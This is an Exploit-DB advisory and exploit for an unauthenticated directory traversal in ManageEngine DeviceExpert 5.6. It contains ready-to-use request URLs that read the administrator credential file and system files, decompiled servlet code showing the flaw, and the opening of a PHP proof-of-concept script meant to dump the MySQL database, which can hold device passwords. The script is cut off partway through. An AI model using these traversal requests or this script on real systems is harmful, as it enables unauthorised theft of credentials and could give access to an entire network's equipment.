Exploit-DB #18626
Description: ManageEngine DeviceExpert 5.6 Java Server ScheduleResultViewer servlet - Directory Traversal
Type: webapps
Platform: jsp
Date: 2012-03-19
Author: rgod

Exploit:
ManageEngine DeviceExpert 5.6 Java Server ScheduleResultViewer servlet Unauthenticated 
Remote Directory Traversal Database Backup / auth-conf.xml Disclosure Exploit

product homepage: http://www.manageengine.com/products/device-expert/
file tested: ManageEngine_DeviceExpert.exe
tested against: Microsoft Windows Server 2003 r2 sp2

Description:
"DeviceExpert is a web–based, multi vendor network change, configuration and 
compliance management (NCCCM) solution for switches, routers, firewalls and 
other network devices. Trusted by thousands of network administrators 
around the world, DeviceExpert helps automate and take total control 
of the entire life cycle of device configuration management."
[..]

Background:
The mentioned product installs a Java application server
which listen by default on port 6060 (https) for incoming
connections.

Vulnerability:
Without prior authentication, is possible to invoke the
ScheduleResultViewer servlet to disclose every file 
on target system. This can be done through the
FileName argument which suffers of a directory traversal
vulnerability.

examples:

https://[host]:6060/scheduleresult.de/?FileName=conf\Authentication\auth-conf.xml
https://[host]:6060/scheduleresult.de/?FileName=..\..\..\..\..\..\..\..\..\..\boot.ini


auth-conf.xml stores the authentication credentials to the
administrative interface (username, hashed password and a salt).
It is also possible to backup the MySQL database tables by cycling
through subfolders.
Theese tables can contain also usernames and passwords of
the configured devices, remember the software functionality,
it supports multiple vendors devices from the following list:

...
Cisco, HP, Nortel, Juniper, Force10, 3Com, D-link, Foundry, Dell, Aruba, Extreme, ADTRAN, Enterasys, Huawei, Blue Coat, Proxim, NetScreen, NETGEAR, FortiNet, ALAXALA, Brocade, Radware, DAX, H3C, Yamaha, Vanguard, Allied Telesis, Alcatel, Fujitsu, Motorola, Acme Packet, Watch Guard, Canoga Perkins
...

Explaination:

look at the web.xml located inside C:\ManageEngine\DeviceExpert\webapps\ncm\WEB-INF\ :

...
<servlet>
        <servlet-name>ScheduleResultViewer</servlet-name>
        <servlet-class>com.adventnet.ncm.client.schedule.ScheduleResultViewerServlet</servlet-class>
    </servlet>

    <servlet-mapping>
        <servlet-name>ScheduleResultViewer</servlet-name>
        <url-pattern>/scheduleresult.de/*</url-pattern>
    </servlet-mapping>
...

now decompile ScheduleResultViewerServlet.class:


...
package com.adventnet.ncm.client.schedule;

import com.adventnet.ncm.util.NCMServerUtil;
import java.io.*;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.servlet.ServletException;
import javax.servlet.http.*;

public class ScheduleResultViewerServlet extends HttpServlet
{

    public ScheduleResultViewerServlet()
    {
        logger = Logger.getLogger(com/adventnet/ncm/client/schedule/ScheduleResultViewerServlet.getName());
    }

    public void service(HttpServletRequest request, HttpServletResponse response)
        throws ServletException, IOException
    {
        FileInputStream in;
        OutputStream out;
        in = null;
        out = null;
        try
        {
            String fileName = request.getParameter("FileName"); //<--------------------------------------
            if(fileName.endsWith(".pdf"))
            {
                response.reset();
                response.setContentType("application/pdf;charset=utf-8");
            } else
            {
                response.setContentType("text/html;charset=utf-8");
            }
            File file = new File((new StringBuilder()).append(NCMServerUtil.SERVER_HOME).append(FS).append(fileName).toString()); //<-----------------------
            response.setContentLength((int)file.length());
            in = new FileInputStream(file);
            out = response.getOutputStream(); //<---------------------
            byte buf[] = new byte[1024];
            for(int count = 0; (count = in.read(buf)) >= 0;)
                out.write(buf, 0, count); //<-----------------

        }
        catch(Exception ex)
        {
            logger.log(Level.SEVERE, "Exception while processing request in ScheduleResultViewerServlet", ex);
            throw new ServletException(ex);
        }
        if(in != null)
            in.close();
        if(out != null)
            out.close();
        break MISSING_BLOCK_LABEL_221;
        Exception exception;
        exception;
        if(in != null)
            in.close();
        if(out != null)
            out.close();
        throw exception;
    }

    Logger logger;
    private static final String FS = System.getProperty("file.separator");

}

'FileName' is taken from the request parameter without sanitization then
is passed to the File object. File content is showed to the remote user.


I think this is a huge vulnerability because this could open the path to
the equipments of an entire network.

As attachment, proof of concept code, which backup the underlying Mysql
database. You could also choose to add your own file to the list,
launch from the command line, place inside a writable folder.

POC:
<?php
/*
ManageEngine DeviceExpert 5.6 Java Server ScheduleResultViewer servlet Unauthenticated 
Remote Directory Traversal Database Backup / auth-conf.xml Disclosure Exploit

rgod
*/
    error_reporting(E_ALL ^ E_NOTICE);     
    set_time_limit(0);
    
	$err[0] = "[!] This script is intended to be launched from the cli!";
    $err[1] = "[!] You need the curl extesion loaded!";

    if (php_sapi_name() <> "cli") {
        die($err[0]);
    }
    
    function syntax() {
       print("usage: php 9sg_me.php [ip_address] [attack]\r\n" );
       print("example: php 9sg_me.php 192.168.0.1 1\r\n");
       print("  \"\" : php 9sg_me.php 192.168.0.1 2\r\n");